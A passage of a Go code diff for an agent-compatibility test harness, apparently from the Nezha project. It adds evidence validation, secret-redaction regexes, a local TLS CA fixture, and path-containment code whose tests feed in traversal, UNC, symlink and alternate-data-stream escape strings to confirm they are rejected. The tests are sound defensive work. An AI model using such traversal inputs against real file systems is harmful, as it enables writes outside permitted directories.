len(evidence.Lifecycle.AgentReceipts) != 2 || len(evidence.Observation.TaskIDs) != 5 { + return errors.New("reconnect receipt accounting is not exact") + } + if evidence.Lifecycle.DisconnectAt.IsZero() || evidence.Lifecycle.ReconnectAt.IsZero() || evidence.Lifecycle.ReconnectAt.Sub(evidence.Lifecycle.DisconnectAt) != evidence.Lifecycle.ReconnectInterval { + return errors.New("reconnect timestamp interval is inconsistent") + } + if !evidence.Observation.DisconnectAt.Equal(evidence.Lifecycle.DisconnectAt) || !evidence.Observation.ReconnectAt.Equal(evidence.Lifecycle.ReconnectAt) { + return errors.New("reconnect lifecycle and observation timestamps differ") + } + return nil +} + +func validateReconnectFinalEvidence(evidence reconnectEvidence, expectedProcessCount int) error { + if !evidence.AgentCleanup.Passed || evidence.AgentCleanup.Forced || !evidence.DashboardCleanup.Passed || evidence.DashboardCleanup.Forced { + return errors.New("reconnect cleanup receipts failed") + } + if len(evidence.AgentCleanup.Processes) != expectedProcessCount || len(evidence.DashboardCleanup.Processes) != expectedProcessCount { + return errors.New("reconnect cleanup receipt process count is invalid") + } + for _, path := range []string{evidence.Fixture.Dashboard.WorkspaceRoot, evidence.Fixture.AgentRoot, evidence.Fixture.Dashboard.ConfigPath, evidence.Fixture.AgentConfigPath, evidence.Fixture.Dashboard.BinaryPath, evidence.Fixture.AgentBinaryPath} { + if path == "" || !filepath.IsAbs(path) { + return errors.New("reconnect fixture paths are invalid") + } + } + return nil +} diff --git a/integration/agentcompat/internal/evidence/redaction.go b/integration/agentcompat/internal/evidence/redaction.go new file mode 100644 index 00000000..918a0747 --- /dev/null +++ b/integration/agentcompat/internal/evidence/redaction.go @@ -0,0 +1,41 @@ +package evidence + +import ( + "regexp" + "strings" +) + +type redactionRule struct { + pattern *regexp.Regexp + replace string +} + +var redactionRules = []redactionRule{ + {pattern: regexp.MustCompile(`(?i)(["']?authorization["']?\s*[:=]\s*["']?)[^"'\r\n,}]+(["']?)`), replace: `${1}[REDACTED]${2}`}, + {pattern: regexp.MustCompile(`(?i)(\b["']?(?:token|access[_-]?token|api[_-]?(?:key|token)|jwt[_-]?secret(?:[_-]?key)?|jwt[_-]?token|pat|agent[_-]?secret(?:[_-]?key)?|client[_-]?secret|handshake[_-]?secret|revert[_-]?handshake[_-]?secret|password|credential|transfer[_-]?token)["']?\s*[:=]\s*["']?)[^"'\s,;&}]+(["']?)`), replace: `${1}[REDACTED]${2}`}, + {pattern: regexp.MustCompile(`(?i)([?&](?:token|access_token|api_key|jwt|pat|secret|authorization|sig|signature|x-amz-signature)=)[^&#\s]+`), replace: `${1}[REDACTED]`}, + {pattern: regexp.MustCompile(`(?i)(/mcp/(?:download|upload)/)[A-Za-z0-9._-]+`), replace: `${1}[REDACTED]`}, + {pattern: regexp.MustCompile(`\beyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b`), replace: `[REDACTED]`}, + {pattern: regexp.MustCompile(`\b(?:ghp_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{20,})\b`), replace: `[REDACTED]`}, + {pattern: regexp.MustCompile(`(?is)(<\s*(?:agent[_-]?secret(?:[_-]?key)?|authorization|transfer[_-]?token|password|credential|config[_-]?secret)\b)[^>]*?(/?)>`), replace: `${1} value="[REDACTED]"${2}>`}, + {pattern: regexp.MustCompile(`(?is)(<\s*(?:agent[_-]?secret(?:[_-]?key)?|authorization|transfer[_-]?token|password|credential|config[_-]?secret)\b[^>]*>)[^<]*()`), replace: `${1}[REDACTED]${2}`}, + {pattern: regexp.MustCompile(`(?is)(<\s*(?:agent[_-]?secret(?:[_-]?key)?|authorization|transfer[_-]?token|password|credential|config[_-]?secret)\b[^>]*>)[^<]*$`), replace: `${1}[REDACTED]`}, + {pattern: regexp.MustCompile(`(?is)(<\s*(?:agent[_-]?secret(?:[_-]?key)?|authorization|transfer[_-]?token|password|credential|config[_-]?secret)\b)[^>]*$`), replace: `${1} value="[REDACTED]"`}, +} + +var sensitiveXMLAttribute = regexp.MustCompile(`(?i)(\b(?:agent[_-]?secret(?:[_-]?key)?|authorization|transfer[_-]?token|password|credential|config[_-]?secret)\b\s*=\s*)(?:"[^"]*"|'[^']*'|"[^\r\n>]*|'[^'\r\n>]*'|[^\s/>][^/>]*)`) + +func Redact(input string) string { + redacted := sensitiveXMLAttribute.ReplaceAllStringFunc(input, func(attribute string) string { + separator := strings.IndexByte(attribute, '=') + if separator < 0 { + return attribute + } + prefix := attribute[:separator+1] + return prefix + "\"[REDACTED]\"" + }) + for _, rule := range redactionRules { + redacted = rule.pattern.ReplaceAllString(redacted, rule.replace) + } + return redacted +} diff --git a/integration/agentcompat/internal/evidence/registry_coverage_test.go b/integration/agentcompat/internal/evidence/registry_coverage_test.go new file mode 100644 index 00000000..35c31064 --- /dev/null +++ b/integration/agentcompat/internal/evidence/registry_coverage_test.go @@ -0,0 +1,32 @@ +package evidence + +import ( + "slices" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestEvidence_RegistryDefinitionsDriveManifestAndProfiles(t *testing.T) { + manifest := EvidenceFiles() + for _, definition := range contract.ScenarioDefinitions() { + dedicatedName := definition.DedicatedArtifactName() + if dedicatedName != "" && !slices.Contains(manifest, dedicatedName) { + t.Fatalf("dedicated artifact %q absent from manifest", dedicatedName) + } + metadata := validMetadata(t, t.TempDir(), definition.Name) + profile, err := currentProfile(metadata) + if err != nil { + t.Fatalf("profile for %q: %v", definition.Name, err) + } + if profile.DedicatedFile != dedicatedName { + t.Fatalf("scenario %q dedicated file=%q want=%q", definition.Name, profile.DedicatedFile, dedicatedName) + } + if definition.Execution == contract.ScenarioExecutionMetadata && profile.Executable { + t.Fatal("metadata profile unexpectedly executable") + } + if definition.Execution != contract.ScenarioExecutionMetadata && !profile.Executable { + t.Fatalf("scenario %q profile is not executable", definition.Name) + } + } +} diff --git a/integration/agentcompat/internal/evidence/results.go b/integration/agentcompat/internal/evidence/results.go new file mode 100644 index 00000000..c5d52733 --- /dev/null +++ b/integration/agentcompat/internal/evidence/results.go @@ -0,0 +1,105 @@ +package evidence + +import ( + "encoding/json" + "fmt" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +type ScenarioResult struct { + Name string `json:"name"` + Passed bool `json:"passed"` + Assertions []Assertion `json:"assertions,omitempty"` + Error string `json:"error,omitempty"` +} + +type Assertion struct { + Name string `json:"name"` + Passed bool `json:"passed"` + Details string `json:"details,omitempty"` +} + +type Results struct { + Profile string `json:"profile"` + Passed bool `json:"passed"` + Scenarios []ScenarioResult `json:"scenarios"` +} + +func (results Results) Validate() error { + if results.Profile == "" || len(results.Scenarios) == 0 { + return fmt.Errorf("results fields are incomplete") + } + if _, err := contract.ProfileByName(results.Profile); err != nil { + return fmt.Errorf("results profile is invalid: %w", err) + } + allPassed := true + seenScenarios := make(map[string]struct{}, len(results.Scenarios)) + for _, scenario := range results.Scenarios { + if _, err := contract.NewScenario(scenario.Name); err != nil { + return fmt.Errorf("scenario name is invalid: %w", err) + } + if _, exists := seenScenarios[scenario.Name]; exists { + return fmt.Errorf("scenario name is duplicated") + } + seenScenarios[scenario.Name] = struct{}{} + if len(scenario.Assertions) == 0 { + return fmt.Errorf("scenario must contain assertions") + } + assertionsPassed := true + seenAssertions := make(map[string]struct{}, len(scenario.Assertions)) + for _, assertion := range scenario.Assertions { + if assertion.Name == "" { + return fmt.Errorf("assertion name is required") + } + if _, exists := seenAssertions[assertion.Name]; exists { + return fmt.Errorf("assertion name is duplicated") + } + seenAssertions[assertion.Name] = struct{}{} + assertionsPassed = assertionsPassed && assertion.Passed + } + if scenario.Passed != assertionsPassed { + return fmt.Errorf("scenario pass state is inconsistent with assertions") + } + if !scenario.Passed { + if scenario.Error == "" { + return fmt.Errorf("failed scenario error is required") + } + allPassed = false + } else if scenario.Error != "" { + return fmt.Errorf("passed scenario cannot contain an error") + } + } + if results.Passed != allPassed { + return fmt.Errorf("results pass state is inconsistent") + } + return nil +} + +func MarshalResults(results Results) ([]byte, error) { + if err := results.Validate(); err != nil { + return nil, err + } + return json.Marshal(results) +} + +func (results Results) MarshalJSON() ([]byte, error) { + type resultsWire Results + redacted := resultsWire{Profile: results.Profile, Passed: results.Passed, Scenarios: make([]ScenarioResult, 0, len(results.Scenarios))} + for _, scenario := range results.Scenarios { + assertions := make([]Assertion, 0, len(scenario.Assertions)) + for _, assertion := range scenario.Assertions { + assertions = append(assertions, Assertion{Name: assertion.Name, Passed: assertion.Passed, Details: Redact(assertion.Details)}) + } + redacted.Scenarios = append(redacted.Scenarios, ScenarioResult{Name: scenario.Name, Passed: scenario.Passed, Assertions: assertions, Error: Redact(scenario.Error)}) + } + return json.Marshal(redacted) +} + +func scenarioResultNames(scenarios []ScenarioResult) []string { + names := make([]string, 0, len(scenarios)) + for _, scenario := range scenarios { + names = append(names, scenario.Name) + } + return names +} diff --git a/integration/agentcompat/internal/fixture/agent_path.go b/integration/agentcompat/internal/fixture/agent_path.go new file mode 100644 index 00000000..ebf4485e --- /dev/null +++ b/integration/agentcompat/internal/fixture/agent_path.go @@ -0,0 +1,168 @@ +package fixture + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "regexp" + "strings" +) + +var agentRootNamePattern = regexp.MustCompile(`^[a-z0-9]+(?:-[a-z0-9]+)*$`) + +type AgentRoot struct { + absolute string +} + +type AgentPath struct { + absolute string + relative string +} + +func NewAgentRoot(parent, agentID string) (AgentRoot, error) { + cleanParent := filepath.Clean(parent) + if !filepath.IsAbs(cleanParent) { + return AgentRoot{}, errors.New("agent fixture parent must be absolute") + } + if !agentRootNamePattern.MatchString(agentID) { + return AgentRoot{}, errors.New("invalid agent fixture root name") + } + parentInfo, err := os.Lstat(cleanParent) + if err != nil { + return AgentRoot{}, fmt.Errorf("inspect agent fixture parent: %w", err) + } + if !parentInfo.IsDir() || parentInfo.Mode()&os.ModeSymlink != 0 { + return AgentRoot{}, errors.New("agent fixture parent must be a real directory") + } + absolute := filepath.Join(cleanParent, agentID) + if err := os.Mkdir(absolute, 0o700); err != nil { + return AgentRoot{}, fmt.Errorf("create agent fixture root: %w", err) + } + return AgentRoot{absolute: absolute}, nil +} + +func (root AgentRoot) Absolute() string { + return root.absolute +} + +func (root AgentRoot) Path(relative string) (AgentPath, error) { + return root.newPath(relative, false) +} + +func (root AgentRoot) DestructivePath(relative string) (AgentPath, error) { + return root.newPath(relative, true) +} + +func (root AgentRoot) newPath(relative string, destructive bool) (AgentPath, error) { + nativeRelative, err := validateRelativeAgentPath(relative, destructive) + if err != nil { + return AgentPath{}, err + } + absolute := filepath.Clean(filepath.Join(root.absolute, nativeRelative)) + containedRelative, err := filepath.Rel(root.absolute, absolute) + if err != nil || filepath.IsAbs(containedRelative) || containedRelative == ".." || strings.HasPrefix(containedRelative, ".."+string(filepath.Separator)) { + return AgentPath{}, rejectPath(PathRejectionEscape) + } + if destructive && containedRelative == "." { + return AgentPath{}, rejectPath(PathRejectionDestructiveRoot) + } + if err := ensureRealParentDirectories(root.absolute, nativeRelative); err != nil { + return AgentPath{}, err + } + if info, err := os.Lstat(absolute); err == nil && info.Mode()&os.ModeSymlink != 0 { + return AgentPath{}, rejectPath(PathRejectionSymlinkFinal) + } else if err != nil && !errors.Is(err, os.ErrNotExist) { + return AgentPath{}, fmt.Errorf("inspect agent fixture path: %w", err) + } + return AgentPath{absolute: absolute, relative: nativeRelative}, nil +} + +func (path AgentPath) String() string { + return path.absolute +} + +func (path AgentPath) Relative() string { + return path.relative +} + +func validateRelativeAgentPath(candidate string, destructive bool) (string, error) { + if strings.TrimSpace(candidate) == "" { + return "", rejectPath(PathRejectionEmpty) + } + if hasWindowsAbsolutePath(candidate) { + return "", rejectPath(PathRejectionAbsolute) + } + if hasWindowsVolume(candidate) { + return "", rejectPath(PathRejectionVolume) + } + if filepath.IsAbs(candidate) { + return "", rejectPath(PathRejectionAbsolute) + } + if strings.Contains(candidate, `\`) { + return "", rejectPath(PathRejectionSeparator) + } + if strings.Contains(candidate, ":") { + return "", rejectPath(PathRejectionADS) + } + components := strings.Split(candidate, "/") + for _, component := range components { + if component == "" { + return "", rejectPath(PathRejectionSeparator) + } + if component == ".." { + return "", rejectPath(PathRejectionParent) + } + } + nativeRelative := filepath.FromSlash(candidate) + if destructive && filepath.Clean(nativeRelative) == "." { + return "", rejectPath(PathRejectionDestructiveRoot) + } + return nativeRelative, nil +} + +func hasWindowsAbsolutePath(candidate string) bool { + return len(candidate) >= 3 && ((candidate[0] >= 'A' && candidate[0] <= 'Z') || (candidate[0] >= 'a' && candidate[0] <= 'z')) && candidate[1] == ':' && (candidate[2] == '\\' || candidate[2] == '/') +} + +func hasWindowsVolume(candidate string) bool { + if strings.HasPrefix(candidate, `\\`) || strings.HasPrefix(candidate, `//`) { + return true + } + return len(candidate) >= 2 && ((candidate[0] >= 'A' && candidate[0] <= 'Z') || (candidate[0] >= 'a' && candidate[0] <= 'z')) && candidate[1] == ':' +} + +func ensureRealParentDirectories(root, relative string) error { + parent := filepath.Dir(relative) + if parent == "." { + return nil + } + rootHandle, err := os.OpenRoot(root) + if err != nil { + return fmt.Errorf("open agent fixture root: %w", err) + } + defer rootHandle.Close() + + current := "" + for _, component := range strings.Split(filepath.ToSlash(parent), "/") { + if current == "" { + current = component + } else { + current = filepath.Join(current, component) + } + info, statErr := rootHandle.Lstat(current) + if errors.Is(statErr, os.ErrNotExist) { + if err := rootHandle.Mkdir(current, 0o700); err != nil { + return fmt.Errorf("create agent fixture parent: %w", err) + } + info, statErr = rootHandle.Lstat(current) + } + if statErr != nil { + return fmt.Errorf("inspect agent fixture parent: %w", statErr) + } + if !info.IsDir() || info.Mode()&os.ModeSymlink != 0 { + return rejectPath(PathRejectionSymlinkParent) + } + } + return nil +} diff --git a/integration/agentcompat/internal/fixture/agent_path_test.go b/integration/agentcompat/internal/fixture/agent_path_test.go new file mode 100644 index 00000000..c35c54dc --- /dev/null +++ b/integration/agentcompat/internal/fixture/agent_path_test.go @@ -0,0 +1,255 @@ +package fixture + +import ( + "errors" + "os" + "path/filepath" + "strings" + "testing" +) + +func TestFixture_AgentPathContained(t *testing.T) { + // Given + root := newTestAgentRoot(t, "agent-alpha") + + // When + path, err := root.Path("documents/report.txt") + + // Then + requireNoFixtureError(t, err) + if !filepath.IsAbs(path.String()) { + t.Fatalf("agent path is not absolute: %q", path.String()) + } + if path.Relative() != filepath.FromSlash("documents/report.txt") { + t.Fatalf("relative path = %q", path.Relative()) + } + assertContainedPath(t, root.Absolute(), path.String()) + info, err := os.Lstat(filepath.Join(root.Absolute(), "documents")) + requireNoFixtureError(t, err) + if !info.IsDir() || info.Mode()&os.ModeSymlink != 0 { + t.Fatalf("fixture parent mode = %s", info.Mode()) + } +} + +func TestFixture_AgentPathRejectsAbsolute(t *testing.T) { + // Given + root := newTestAgentRoot(t, "agent-absolute") + + // When + _, err := root.Path(filepath.Join(t.TempDir(), "outside.txt")) + + // Then + assertPathRejection(t, err, PathRejectionAbsolute) +} + +func TestFixture_AgentPathRejectsParentEscape(t *testing.T) { + root := newTestAgentRoot(t, "agent-parent") + for _, candidate := range []string{"../outside.txt", "inside/../outside.txt"} { + t.Run(candidate, func(t *testing.T) { + _, err := root.Path(candidate) + assertPathRejection(t, err, PathRejectionParent) + }) + } +} + +func TestFixture_AgentPathRejectsWindowsVolumeOrSeparatorEscape(t *testing.T) { + root := newTestAgentRoot(t, "agent-volume") + tests := []struct { + name string + candidate string + reason PathRejectionReason + }{ + {name: "drive absolute", candidate: `C:\outside.txt`, reason: PathRejectionAbsolute}, + {name: "drive relative", candidate: `C:outside.txt`, reason: PathRejectionVolume}, + {name: "UNC", candidate: `\\server\share\outside.txt`, reason: PathRejectionVolume}, + {name: "extended UNC", candidate: `\\?\UNC\server\share\outside.txt`, reason: PathRejectionVolume}, + {name: "alternate separator", candidate: `inside\outside.txt`, reason: PathRejectionSeparator}, + {name: "empty component", candidate: "inside//outside.txt", reason: PathRejectionSeparator}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + _, err := root.Path(test.candidate) + assertPathRejection(t, err, test.reason) + }) + } +} + +func TestFixture_AgentPathRejectsDestructiveRoot(t *testing.T) { + // Given + root := newTestAgentRoot(t, "agent-destructive") + + // When + _, err := root.DestructivePath(".") + + // Then + assertPathRejection(t, err, PathRejectionDestructiveRoot) +} + +func TestFixture_AgentPathRejectsSymlinkParent(t *testing.T) { + // Given + root := newTestAgentRoot(t, "agent-symlink") + outside := t.TempDir() + requireNoFixtureError(t, os.Symlink(outside, filepath.Join(root.Absolute(), "linked"))) + + // When + _, err := root.Path("linked/file.txt") + + // Then + assertPathRejection(t, err, PathRejectionSymlinkParent) +} + +func TestFixture_AgentPathRejectsSymlinkTarget(t *testing.T) { + // Given + root := newTestAgentRoot(t, "agent-symlink-target") + outside := filepath.Join(t.TempDir(), "outside.txt") + requireNoFixtureError(t, os.WriteFile(outside, []byte("outside"), 0o600)) + requireNoFixtureError(t, os.Symlink(outside, filepath.Join(root.Absolute(), "linked.txt"))) + + // When + _, err := root.Path("linked.txt") + + // Then + assertPathRejection(t, err, PathRejectionSymlinkFinal) +} + +func TestFixture_AgentPathRejectsExistingFinalSymlink(t *testing.T) { + // Given + root := newTestAgentRoot(t, "agent-final-symlink") + outside := filepath.Join(t.TempDir(), "outside.txt") + requireNoFixtureError(t, os.WriteFile(outside, []byte("unchanged"), 0o600)) + requireNoFixtureError(t, os.Symlink(outside, filepath.Join(root.Absolute(), "linked.txt"))) + + // When + _, pathErr := root.Path("linked.txt") + _, destructiveErr := root.DestructivePath("linked.txt") + + // Then + assertPathRejection(t, pathErr, PathRejectionSymlinkFinal) + assertPathRejection(t, destructiveErr, PathRejectionSymlinkFinal) + content, err := os.ReadFile(outside) + requireNoFixtureError(t, err) + if string(content) != "unchanged" { + t.Fatalf("final symlink target changed: %q", content) + } +} + +func TestFixture_AgentPathRejectsCleanedEscape(t *testing.T) { + // Given + root := newTestAgentRoot(t, "agent-cleaned-escape") + + // When + _, err := root.Path("documents/../../outside.txt") + + // Then + assertPathRejection(t, err, PathRejectionParent) +} + +func TestFixture_AgentPathRejectsEmpty(t *testing.T) { + root := newTestAgentRoot(t, "agent-empty") + for _, candidate := range []string{"", " "} { + t.Run(candidate, func(t *testing.T) { + _, err := root.Path(candidate) + assertPathRejection(t, err, PathRejectionEmpty) + }) + } +} + +func TestFixture_AgentPathRejectsSymlinkRootParent(t *testing.T) { + // Given + realParent := t.TempDir() + symlinkParent := filepath.Join(t.TempDir(), "fixture-parent") + requireNoFixtureError(t, os.Symlink(realParent, symlinkParent)) + + // When + _, err := NewAgentRoot(symlinkParent, "agent-symlink-root") + + // Then + if err == nil { + t.Fatal("symlink fixture parent was accepted") + } +} + +func TestFixture_AgentPathRejectsADS(t *testing.T) { + root := newTestAgentRoot(t, "agent-ads") + candidate := "documents/report.txt:secret-value" + _, err := root.Path(candidate) + assertPathRejection(t, err, PathRejectionADS) + if strings.Contains(err.Error(), candidate) { + t.Fatal("path rejection exposed the candidate path") + } +} + +func TestFixture_OutsideRootSentinelUnchanged(t *testing.T) { + // Given + parent := t.TempDir() + sentinel := filepath.Join(parent, "outside-sentinel") + requireNoFixtureError(t, os.WriteFile(sentinel, []byte("unchanged"), 0o600)) + root, err := NewAgentRoot(parent, "agent-sentinel") + requireNoFixtureError(t, err) + + // When + _, rejectionErr := root.Path("../outside-sentinel") + + // Then + assertPathRejection(t, rejectionErr, PathRejectionParent) + content, err := os.ReadFile(sentinel) + requireNoFixtureError(t, err) + if string(content) != "unchanged" { + t.Fatalf("outside-root sentinel changed: %q", content) + } +} + +func TestFixture_CreatesDistinctPerAgentRoots(t *testing.T) { + // Given + parent := t.TempDir() + + // When + first, err := NewAgentRoot(parent, "agent-first") + requireNoFixtureError(t, err) + second, err := NewAgentRoot(parent, "agent-second") + requireNoFixtureError(t, err) + + // Then + if first.Absolute() == second.Absolute() { + t.Fatal("per-Agent fixture roots are shared") + } + assertContainedPath(t, parent, first.Absolute()) + assertContainedPath(t, parent, second.Absolute()) +} + +func newTestAgentRoot(t *testing.T, agentID string) AgentRoot { + t.Helper() + root, err := NewAgentRoot(t.TempDir(), agentID) + requireNoFixtureError(t, err) + return root +} + +func assertContainedPath(t *testing.T, root, candidate string) { + t.Helper() + relative, err := filepath.Rel(root, candidate) + requireNoFixtureError(t, err) + if relative == ".." || filepath.IsAbs(relative) || (len(relative) > 3 && relative[:3] == ".."+string(filepath.Separator)) { + t.Fatalf("path %q escaped root %q", candidate, root) + } +} + +func assertPathRejection(t *testing.T, err error, reason PathRejectionReason) { + t.Helper() + var pathError *AgentPathError + if !errors.As(err, &pathError) { + t.Fatalf("expected AgentPathError, got %v", err) + } + if pathError.Reason != reason { + t.Fatalf("rejection reason = %q, want %q", pathError.Reason, reason) + } + if pathError.Error() == "" { + t.Fatal("path rejection error is empty") + } +} + +func requireNoFixtureError(t *testing.T, err error) { + t.Helper() + if err != nil { + t.Fatal(err) + } +} diff --git a/integration/agentcompat/internal/fixture/fixture_errors.go b/integration/agentcompat/internal/fixture/fixture_errors.go new file mode 100644 index 00000000..d8408423 --- /dev/null +++ b/integration/agentcompat/internal/fixture/fixture_errors.go @@ -0,0 +1,35 @@ +package fixture + +import "errors" + +var ( + ErrPayloadOverrun = errors.New("fixture payload exceeds transfer limit") + ErrPayloadSizeMismatch = errors.New("fixture payload size mismatch") +) + +type PathRejectionReason string + +const ( + PathRejectionEmpty PathRejectionReason = "empty" + PathRejectionAbsolute PathRejectionReason = "absolute" + PathRejectionParent PathRejectionReason = "parent" + PathRejectionVolume PathRejectionReason = "volume" + PathRejectionSeparator PathRejectionReason = "separator" + PathRejectionDestructiveRoot PathRejectionReason = "destructive_root" + PathRejectionEscape PathRejectionReason = "escape" + PathRejectionSymlinkParent PathRejectionReason = "symlink_parent" + PathRejectionSymlinkFinal PathRejectionReason = "symlink_final" + PathRejectionADS PathRejectionReason = "ads" +) + +type AgentPathError struct { + Reason PathRejectionReason +} + +func (e *AgentPathError) Error() string { + return "agent path rejected: " + string(e.Reason) +} + +func rejectPath(reason PathRejectionReason) error { + return &AgentPathError{Reason: reason} +} diff --git a/integration/agentcompat/internal/fixture/local_ca.go b/integration/agentcompat/internal/fixture/local_ca.go new file mode 100644 index 00000000..15aeed6c --- /dev/null +++ b/integration/agentcompat/internal/fixture/local_ca.go @@ -0,0 +1,110 @@ +package fixture + +import ( + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/tls" + "crypto/x509" + "crypto/x509/pkix" + "encoding/pem" + "errors" + "math/big" + "net" + "time" +) + +type LocalTLSFixture struct { + certificate tls.Certificate + rootCAs *x509.CertPool + caPEM []byte + certificatePEM []byte + privateKeyPEM []byte +} + +func NewLocalTLSFixture(now time.Time) (LocalTLSFixture, error) { + caKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + if err != nil { + return LocalTLSFixture{}, err + } + caTemplate := &x509.Certificate{ + SerialNumber: big.NewInt(1), + Subject: pkix.Name{CommonName: "agentcompat local CA"}, + NotBefore: now.Add(-time.Hour), + NotAfter: now.Add(24 * time.Hour), + IsCA: true, + BasicConstraintsValid: true, + KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature, + } + caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey) + if err != nil { + return LocalTLSFixture{}, err + } + leafKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + if err != nil { + return LocalTLSFixture{}, err + } + leafTemplate := &x509.Certificate{ + SerialNumber: big.NewInt(2), + Subject: pkix.Name{CommonName: "localhost"}, + NotBefore: now.Add(-time.Hour), + NotAfter: now.Add(24 * time.Hour), + KeyUsage: x509.KeyUsageDigitalSignature, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + DNSNames: []string{"localhost"}, + IPAddresses: []net.IP{net.ParseIP("127.0.0.1"), net.ParseIP("::1")}, + } + leafDER, err := x509.CreateCertificate(rand.Reader, leafTemplate, caTemplate, &leafKey.PublicKey, caKey) + if err != nil { + return LocalTLSFixture{}, err + } + leafKeyDER, err := x509.MarshalPKCS8PrivateKey(leafKey) + if err != nil { + return LocalTLSFixture{}, err + } + caPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}) + certificatePEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: leafDER}) + privateKeyPEM := pem.EncodeToMemory(&pem.Block{Type: "PRIVATE KEY", Bytes: leafKeyDER}) + certificate, err := tls.X509KeyPair(certificatePEM, privateKeyPEM) + if err != nil { + return LocalTLSFixture{}, err + } + rootCAs := x509.NewCertPool() + if !rootCAs.AppendCertsFromPEM(caPEM) { + return LocalTLSFixture{}, errors.New("append local CA certificate") + } + return LocalTLSFixture{ + certificate: certificate, + rootCAs: rootCAs, + caPEM: caPEM, + certificatePEM: certificatePEM, + privateKeyPEM: privateKeyPEM, + }, nil +} + +func (fixture LocalTLSFixture) ClientConfig(serverName string) *tls.Config { + return &tls.Config{ + MinVersion: tls.VersionTLS13, + RootCAs: fixture.rootCAs.Clone(), + ServerName: serverName, + } +} + +func (fixture LocalTLSFixture) Listener(listener net.Listener) net.Listener { + return tls.NewListener(listener, &tls.Config{ + MinVersion: tls.VersionTLS13, + Certificates: []tls.Certificate{fixture.certificate}, + }) +} + +func (fixture LocalTLSFixture) CAPEM() []byte { + return append([]byte(nil), fixture.caPEM...) +} + +func (fixture LocalTLSFixture) CertificatePEM() []byte { + return append([]byte(nil), fixture.certificatePEM...) +} + +func (fixture LocalTLSFixture) PrivateKeyPEM() []byte { + return append([]byte(nil), fixture.privateKeyPEM...) +} diff --git a/integration/agentcompat/internal/fixture/local_ca_test.go b/integration/agentcompat/internal/fixture/local_ca_test.go new file mode 100644 index 00000000..c4b7748f --- /dev/null +++ b/integration/agentcompat/internal/fixture/local_ca_test.go @@ -0,0 +1,130 @@ +package fixture + +import ( + "context" + "crypto/tls" + "crypto/x509" + "encoding/pem" + "errors" + "io" + "net" + "net/http" + "strings" + "testing" + "time" +) + +func TestFixture_VerifiesLocalhostTLS(t *testing.T) { + // Given + fixture, err := NewLocalTLSFixture(time.Now()) + requireNoFixtureError(t, err) + address, closeServer := startLocalTLSServer(t, fixture) + defer closeServer() + client := localTLSClient(fixture.ClientConfig("localhost"), address) + + // When + response, err := client.Get("https://localhost:" + portOf(t, address) + "/ready") + requireNoFixtureError(t, err) + defer response.Body.Close() + body, err := io.ReadAll(response.Body) + requireNoFixtureError(t, err) + + // Then + if response.StatusCode != http.StatusOK || string(body) != "tls-ready" { + t.Fatalf("TLS response = %d %q", response.StatusCode, body) + } + if fixture.ClientConfig("localhost").InsecureSkipVerify { + t.Fatal("TLS fixture disabled certificate verification") + } + if len(fixture.CAPEM()) == 0 || len(fixture.CertificatePEM()) == 0 || len(fixture.PrivateKeyPEM()) == 0 { + t.Fatal("TLS fixture did not expose certificate material") + } + assertLocalCertificateProperties(t, fixture) +} + +func assertLocalCertificateProperties(t *testing.T, fixture LocalTLSFixture) { + t.Helper() + caBlock, _ := pem.Decode(fixture.CAPEM()) + if caBlock == nil { + t.Fatal("fixture CA PEM is invalid") + } + caCertificate, err := x509.ParseCertificate(caBlock.Bytes) + requireNoFixtureError(t, err) + if !caCertificate.IsCA || !caCertificate.BasicConstraintsValid || caCertificate.KeyUsage&x509.KeyUsageCertSign == 0 { + t.Fatalf("fixture CA constraints are invalid: %+v", caCertificate) + } + leafBlock, _ := pem.Decode(fixture.CertificatePEM()) + if leafBlock == nil { + t.Fatal("fixture leaf PEM is invalid") + } + leafCertificate, err := x509.ParseCertificate(leafBlock.Bytes) + requireNoFixtureError(t, err) + if err := leafCertificate.VerifyHostname("localhost"); err != nil { + t.Fatalf("verify localhost SAN: %v", err) + } + if err := leafCertificate.VerifyHostname("127.0.0.1"); err != nil { + t.Fatalf("verify loopback SAN: %v", err) + } +} + +func TestFixture_RejectsTLSNameMismatch(t *testing.T) { + // Given + fixture, err := NewLocalTLSFixture(time.Now()) + requireNoFixtureError(t, err) + address, closeServer := startLocalTLSServer(t, fixture) + defer closeServer() + client := localTLSClient(fixture.ClientConfig("wronghost.invalid"), address) + + // When + _, err = client.Get("https://wronghost.invalid:" + portOf(t, address) + "/ready") + + // Then + var hostnameError x509.HostnameError + if !errors.As(err, &hostnameError) { + t.Fatalf("TLS mismatch error = %v", err) + } +} + +func startLocalTLSServer(t *testing.T, fixture LocalTLSFixture) (string, func()) { + t.Helper() + listener, err := net.Listen("tcp", "127.0.0.1:0") + requireNoFixtureError(t, err) + tlsListener := fixture.Listener(listener) + server := &http.Server{Handler: http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + if request.URL.Path != "/ready" { + http.NotFound(writer, request) + return + } + _, _ = io.WriteString(writer, "tls-ready") + })} + serveDone := make(chan error, 1) + go func() { serveDone <- server.Serve(tlsListener) }() + closeServer := func() { + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + requireNoFixtureError(t, server.Shutdown(ctx)) + serveErr := <-serveDone + if serveErr != nil && !errors.Is(serveErr, http.ErrServerClosed) { + t.Fatalf("serve TLS: %v", serveErr) + } + } + return listener.Addr().String(), closeServer +} + +func localTLSClient(config *tls.Config, address string) *http.Client { + transport := &http.Transport{ + TLSClientConfig: config, + DialContext: func(ctx context.Context, network, _ string) (net.Conn, error) { + var dialer net.Dialer + return dialer.DialContext(ctx, network, address) + }, + } + return &http.Client{Transport: transport, Timeout: 2 * time.Second} +} + +func portOf(t *testing.T, address string) string { + t.Helper() + _, port, err 